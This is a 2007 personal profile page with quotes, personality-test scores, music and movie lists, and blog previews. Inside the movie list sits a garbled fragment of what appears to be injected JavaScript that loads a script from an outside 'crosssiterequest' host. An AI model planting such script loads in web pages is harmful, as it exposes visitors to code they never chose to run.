I miss the rain ... profile picture

I miss the rain ...

The way it clenses the pain.

About Me

***After a while you learn the subtle differences between holding a hand and chaining a soul. And you learn that love dosent mean security. And you learn to accept your defeats with your head held high and your eyes wide open, with the grace of a student, not the tantrums of a child. And you learn that in the darkness of struggle acceptance and surrender mate, impregnating you with now life. And in time you learn that even sunshine burns if your exposed too long. So you plant your own garden and water your own soul, instead of waiting for someone to bring you flowers. And you really are strong And you really do have worth And you learn and learn... As surely as the dawn comes... you learn ~Aurthor unknown
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***its better to die on your feet than live on your knees-dolores Ibarron
***discussion is the exchange of knowledge, argument the exchange of ignorance-robert quillen
***its a blessing to die for a cause because you can so easily die for nothing-andrew young
***if we believe a thing to be bad, and if we have the right to prevent it, it is our duty to try to prevent it and damn the consiquences-lord milner . ...now, about me.. well, ...I'm still finding out who i am...
Advanced Global Personality Test Results
Extraversion |||||||||||||||| 63%
Stability |||||||||||||||||||| 90%
Orderliness |||||||||| 40%
Accommodation |||||||||||| 50%
Interdependence |||||||||||||||| 70%
Intellectual |||||||||||||||| 70%
Mystical |||||||||||||||||||| 90%
Artistic |||||||||||||||||||| 90%
Religious |||||| 23%
Hedonism |||||||||| 36%
Materialism |||||||||||| 50%
Narcissism |||||||||||| 43%
Adventurousness |||||||||||||||||||| 83%
Work ethic |||||| 30%
Self absorbed |||||||||||||||||| 76%
Conflict seeking |||||| 23%
Need to dominate |||||||||||| 43%
Romantic |||||||||| 36%
Avoidant |||||||||||| 50%
Anti-authority |||||||||||||||||| 76%
Wealth || 10%
Dependency |||||| 23%
Change averse |||| 16%
Cautiousness |||||||||||||||| 70%
Individuality |||||||||||||| 56%
Sexuality || 10%
Peter pan complex || 10%
Physical security |||||||||||||||| 63%
Physical Fitness |||| 17%
Histrionic || 10%
Paranoia |||||||||| 36%
Vanity || 10%
Hypersensitivity |||||| 30%
Indie |||||||||||||| 56% Take Free Advanced Global Personality Test
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Stability results were very high which suggests you are extremely relaxed, calm, secure, and optimistic.
Orderliness results were moderately low which suggests you are, at times, overly flexible, improvised, and fun seeking at the expense of reliability, work ethic, and long term accomplishment.
Extraversion results were moderately high which suggests you are, at times, overly talkative, outgoing, sociable and interacting at the expense of developing your own individual interests and internally based identity.
trait snapshot:
messy, disorganized, social, tough, outgoing, rarely worries, self revealing, open, risk taker, likes the unknown, likes large parties, makes friends easily, likes to stand out, likes to make fun of people, reckless, optimistic, positive, strong, does not like to be alone, ambivalent about chaos, abstract, impractical, not good at saving money, fearless, trusting, thrill seeker, not rule conscious, enjoys leadership, strange, loves food, abstract, rarely irritated, anti-authority, attracted to the counter culture

My Interests

Photography
reading
writing
listening to music
ect...

teach me something new!!!

I'd like to meet:

Im more into quality of people relationships and friendships than the quantity of people that i can meet.

Quote:"It is not length of life, but depth of life." -Ralph Waldo Emerson

Music:

Bits and pieces of everything. But this is stuff I cant live without!

Assemblage 23
conjure one
Delerium
Velvet Acid Christ
Funker Vogt
Front line assembly
wumpscut
Icon of Coil
sirenia
Astral Projection
Ministry
Cradle of Filth
Rotting Christ
Dark Tranquility
sinead O'Connor
Lacuna Coil
Gridlock
Dimmu Borgir
Depeche Mode
Opeth
Amber Asylum
Marilyn Manson
Bad religion

Anais
AFI
Starlit
Poe
Dresden Dolls
Regina Spektor
Anna Nalick
Michelle Branch

Goldfrapp
Fleetwood Mac
Underoath
Flogging Molly
Keane
Spoon
Keiser Chiefs
Beth Hart
Brand New
Something Corporate
Incubis
Stained
Disturbed
Fuel
Match box 20
The Goo Goo Dolls
Trapt
she wants revenge
fall out boy

Movies:

ok in order to be as anal retentive as possiable i have catagories and they are in order of best movies to second best and so on...
best movies of all time
What the Bleep:down the rabbit hole.
♥ Requirem for a dream!!!!
if you can see this movie and feel nothing chances are you have no depth..
♥ V for Vendetta
♥ Donnie darko
♥ Final Fantasy
♥ Closer
♥ slc punki
♥ trainspotting
♥ Natural Born Killers
♥ Run lola Run
♥ fightclub
sequls and such
Lord of the rings(s)
Matrix(s)
Saw(s)
Harry potter(s)
Resident Evil(s)
Romantic movies
The Notebook
50 first dates
Where the heart is
Ever After
Crazy Beautiful
City of angels
Notting Hill
A Walk to Remember
The Princess Bride
Funny movies
Mighty Python and the Holy Grail
Cheech and Chong (up in smoke)
Super Troopers
Half Baked
Dazed and Confused
Napolean Dynamite
Blue collar comidy tour(s)
The Rocky Horror Picture Show
ECT
Anima
-"x" the series,.. and others
tons of stand up comidy .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

A box of disgust for people who need someone to idolize and cant find something less potent to do.

Books:

I adore all books. Im especially into non fiction. But remember kids there are always at least two sides to everything!

Heroes:

I dont have a hero... I dont believe enough in any one to look up to them and call them a hero.... but if you are willing to stand up to your fears or something that you believe in, you no doubt will be a hero to many.

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My Blog

something weird...

Body: Psychoanalyze Yourself; Don't read ahead, just answer the following questions with the first thought that comes to mind. Then read which each answer means at the end. (No cheating! )1. You are ...
Posted by I miss the rain ... on Mon, 27 Aug 2007 08:11:00 PST

So at first ...

I was like well shit i havent blogged in quite some time and i was comming up with all of these things to blog about BUT THEN...tonight i was going to the store with my friend [Jen] and as I was turni...
Posted by I miss the rain ... on Sun, 19 Aug 2007 08:36:00 PST

uggggg

IM soooo tired... im pissing energy drinks and shitting speeders! please kill me now. *pre passes out!* in other news ... I owe I owe so off to work I go [for another 16 hours] ...*tears in my...
Posted by I miss the rain ... on Wed, 08 Aug 2007 11:49:00 PST

my news of epic proportions!!

I have my apartment now. mine mine mine... ohh what? yes thats right. MINE MINE MINE!!!!! [pics comming soon] though its a dump! &&& PEACE im out!!!...
Posted by I miss the rain ... on Mon, 06 Aug 2007 07:34:00 PST

Right Now...

I feel trapped in some kind of self recognition I cant quite understand.
Posted by I miss the rain ... on Fri, 03 Aug 2007 09:54:00 PST

there has been enough said!

Hiding under water : Beth Hart     Heaven dont want meHeaven dont fool meNoone will understandand its alrightFeelin these changesEverybody is strangersNoone will lend a handAnd i guess that...
Posted by I miss the rain ... on Tue, 10 Jul 2007 10:54:00 PST

I see trainwrecks in the way we kissed

Evening LoversYour ingenious and they said that I read too much.I definatelly read too much into this. Shuttering with the excitement begging just once more. I now stare through me as inevidability hi...
Posted by I miss the rain ... on Sun, 01 Apr 2007 09:36:00 PST

Train Rides and Long Nights- Tell me you dont mean it

Colorblind-Counting CrowsI am colorblind Coffee black and egg white Pull me out from inside I am ready I am taffy stuck and tongue tied Stutter shook and uptight Pull me out from inside I am r...
Posted by I miss the rain ... on Wed, 21 Mar 2007 09:47:00 PST

sarah did 200 i did 2000

..START BZOINK.COM SURVEY CODE>Ultimate Survey (377 questions long)time started:late... wait early full name:None Ya nickname(s):Twat birthday:4.30.1986 where were you born:South Bend In zodiac sign:T...
Posted by I miss the rain ... on Wed, 14 Mar 2007 11:12:00 PST

heart + sleeve = INFJ

me me to a tee tee( http://www.humanmetrics.com/cgi-win/JTypes2.asp )Introverted iNtuitive Feeling Judging (The small number of this type (little more than 2 percent) is regrettable, since Counselors ...
Posted by I miss the rain ... on Mon, 12 Mar 2007 10:36:00 PST